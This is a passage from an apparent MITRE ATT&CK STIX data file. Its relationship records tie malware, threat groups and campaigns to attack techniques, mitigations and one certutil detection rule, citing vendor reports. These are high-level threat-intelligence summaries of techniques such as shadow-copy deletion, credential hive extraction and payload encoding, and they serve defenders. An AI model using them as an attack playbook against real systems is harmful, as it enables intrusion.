Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--424f1b60-9dbb-4022-8789-5338c7e1caa0","created":"2024-04-04T18:04:15.520Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:04:15.520Z","description":"[Akira](https://attack.mitre.org/software/S1129) will execute PowerShell commands to delete system volume shadow copies.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4253a9ab-fddb-4c2f-b4c7-c4bc8182d9a4","type":"relationship","created":"2021-12-01T18:49:06.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:49:06.950Z","description":"[Chrommme](https://attack.mitre.org/software/S0667) can download its code from C2.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4256a056-d15a-4323-8e04-92e623d5e899","type":"relationship","created":"2021-05-06T15:41:52.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:41:22.467Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can encrypt C2 communications with a randomly generated key.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42580e44-781d-467d-b131-45f7d4651d0a","type":"relationship","created":"2020-05-08T17:17:37.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."},{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."},{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:43.918Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used weaponized documents attached to spearphishing emails for reconnaissance and initial compromise.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4258f16d-4484-4b5f-8a2b-76366b2ee46c","created":"2022-02-01T16:08:59.689Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) has named a first stage dropper `Kaspersky Update Agent` in order to appear legitimate.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T17:01:50.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4258ffdf-ecdb-465d-af16-bda97062ab7f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.363Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) scanned network services to search for vulnerabilities in the victim system.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4261a057-4985-4180-8871-59c5b76e8a20","created":"2019-01-29T21:47:53.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) creates a command-line shell using cmd.exe.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42684416-c3f0-4668-9c86-77482740179e","created":"2023-10-05T17:38:00.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-10T17:36:41.030Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has utilized the remote management tool Atera to download malware to a compromised system.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4269342d-fd7b-4fc6-882f-5099da627c85","type":"relationship","created":"2019-01-29T20:17:49.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","source_name":"TrendMicro Tropic Trooper Mar 2018"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.348Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created a hidden directory under C:\\ProgramData\\Apple\\Updates\\ and C:\\Users\\Public\\Documents\\Flash\\.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4269e5cb-b2ad-4757-b0b0-bfd5e8b7dc38","created":"2022-08-19T19:21:57.754Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has established social media profiles to mimic employees of targeted companies.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-19T19:21:57.754Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--426c8308-0856-4dad-85e6-87df276cfa69","type":"relationship","created":"2020-05-06T17:47:43.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.697Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to steal saved passwords from the Internet Explorer, Edge, Firefox, and Chrome browsers.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--426daf58-7fab-49c8-b5cb-722f3e46a75a","type":"relationship","created":"2020-03-18T20:28:50.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.","url":"https://github.com/nettitude/PoshC2_Python","source_name":"GitHub PoshC2"}],"modified":"2020-03-18T20:28:50.558Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can enumerate local and domain user account information.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--426db174-3cc4-4f9c-ae34-6398a86ec3bd","type":"relationship","created":"2020-07-27T15:20:50.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-06T17:25:07.403Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has been compressed and stored within a registry key. [Pillowmint](https://attack.mitre.org/software/S0517) has also obfuscated the AES key used for encryption.(Citation: Trustwave Pillowmint June 2020)\t","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42703ec8-4dd6-42a3-b2bb-f2a135f89863","type":"relationship","created":"2020-10-19T19:49:24.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:50:47.393Z","description":"Some vendors of embedded network devices provide cryptographic signing to ensure the integrity of operating system images at boot time. Implement where available, following vendor guidelines. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4272f467-c1b9-412e-9092-6340f4bdf847","created":"2022-06-03T14:55:51.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureWorks August 2019","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:42:47.572Z","description":"[DanBot](https://attack.mitre.org/software/S1014) can Base64 encode its payload.(Citation: SecureWorks August 2019)","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4274e62f-1dc9-47d0-800a-f812cfe4e071","type":"relationship","created":"2020-02-20T19:18:34.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T16:22:38.718Z","description":"Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive information.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--427594ef-614a-4e8e-a6ac-abccc0645ada","created":"2023-07-27T20:28:39.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T15:25:57.522Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has extracted the SAM and SYSTEM registry hives using the `reg.exe` binary for obtaining password hashes from a compromised machine.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42781435-078d-4aad-add9-d70fb5f13bfe","created":"2024-03-13T21:03:18.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Segurança Informática URSA Sophisticated Loader 2020","description":"Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.","url":"https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T14:04:27.999Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can monitor browser activity for online banking actions and display full-screen overlay images to block user access to the intended site or present additional data fields.(Citation: Segurança Informática URSA Sophisticated Loader 2020)(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--427a272e-4500-4216-8816-a6c7d4492f3e","type":"relationship","created":"2020-11-20T17:53:52.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T17:53:52.591Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can use [certutil](https://attack.mitre.org/software/S0160) for propagation on Windows hosts within intranets.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-17T01:16:15.857Z","description":"[Felismus](https://attack.mitre.org/software/S0171) collects the current username and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--427b9f61-9f58-4167-b4f5-c7f3bdbd7862","created":"2023-03-26T22:05:26.897Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:05:26.897Z","description":"(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--427f45bd-6518-4527-9ca2-37cf368947f5","created":"2023-03-22T03:38:58.481Z","revoked":false,"external_references":[{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:38:58.481Z","description":"[Denis](https://attack.mitre.org/software/S0354) has encoded its PowerShell commands in Base64.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--427f7417-6d8a-4b0b-8bcf-a6acdd28586e","created":"2022-07-18T18:36:48.429Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T18:36:48.429Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42816956-5a66-4a94-99a2-dd21bfc126e2","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"Microsoft Sigcheck May 2017","description":"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/sigcheck"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:42:07.542Z","description":"Monitor for processes, such as certmgr.exe (macOS) or certutil.exe (Windows), that can be used to install root certificates. A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nAnalytic 1 - Attempt to Add Certificate to Untrusted Store\n\n (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") AND Image=\"C:\\\\Windows\\\\System32\\\\certutil.exe\" CommandLine=\"*-addstore*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42868389-76f1-4dbf-9b7e-f657d6c8e0cc","created":"2023-03-23T18:09:52.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T23:33:48.815Z","description":"During [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used steganography to hide the communications between the implants and their C&C servers.(Citation: ESET Dukes October 